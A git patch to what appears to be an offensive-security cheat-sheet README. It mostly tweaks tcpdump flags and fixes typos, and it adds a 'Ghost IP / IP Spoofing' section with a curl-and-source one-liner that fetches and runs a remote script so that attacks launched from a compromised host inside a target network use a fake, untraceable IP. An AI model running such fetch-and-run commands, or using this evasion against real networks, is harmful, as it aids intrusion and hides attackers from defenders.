From 66ddba14e96a4b55c8ba2743021f6aa95f251b03 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Thu, 7 Mar 2024 16:04:28 +0000 Subject: [PATCH] Update README.md --- README.md | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 1043465..95dedd2 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [Raw TCP reverse ports](#ports) 1. [HTTPS reverse forwards](#https) 2. [Bouncing traffic with iptables](#iptables) + 3. [Ghost IP / IP Spoofing](#ghost) 1. [Use any tool via Socks Proxy](#scan-proxy) 1. [Find your public IP address](#your-ip) 1. [Check reachability from around the world](#check-reachable) @@ -491,13 +492,13 @@ seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | ```sh ## Monitor every new TCP connection -tcpdump -n "tcp[tcpflags] == tcp-syn" +tcpdump -np "tcp[tcpflags] == tcp-syn" ## Play a *bing*-noise for every new SSH connection -tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done +tcpdump -nplq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done ## Ascii output (for all large packets. Change to >40 if no TCP options are used). -tcpdump -s0 -nAq 'tcp and (ip[2:2] > 60)' +tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)' ``` --- @@ -599,7 +600,7 @@ More: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvese --- -**3.iii.c Bouncing traffic with iptables*** +**3.iii.c Bouncing traffic with iptables** Use the host 192.168.0.100 as a Jump-Host: Forward any connection from anywhere to 192.168.0.100:53 onwards to 1.2.3.4:443. ```sh @@ -628,6 +629,20 @@ GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh GS_HOST=1.2.3.4: GS_PORT=443 gs-netcat -i -s ... ``` +--- + +**3.vi.c Ghsot IP / IP Spoofing** + +Useful on a host inside the target network. This tool re-configured (without trace) the SHELL: Any programm (nmap, cme, ...) started from this SHELL will use a fake IP. All your attacks will originate from a host that does not exist. + +```sh +source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh) +``` + +This also works in combination with: + * [Segfault's ROOT Servers](https://thc.org/segfault/wg): Will connect your ROOT Server to the TARGET NETWORK and using a Ghost IP inside the taget network. + * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): As above, but less secure. + --- **3.iv. Use any tool via Socks Proxy**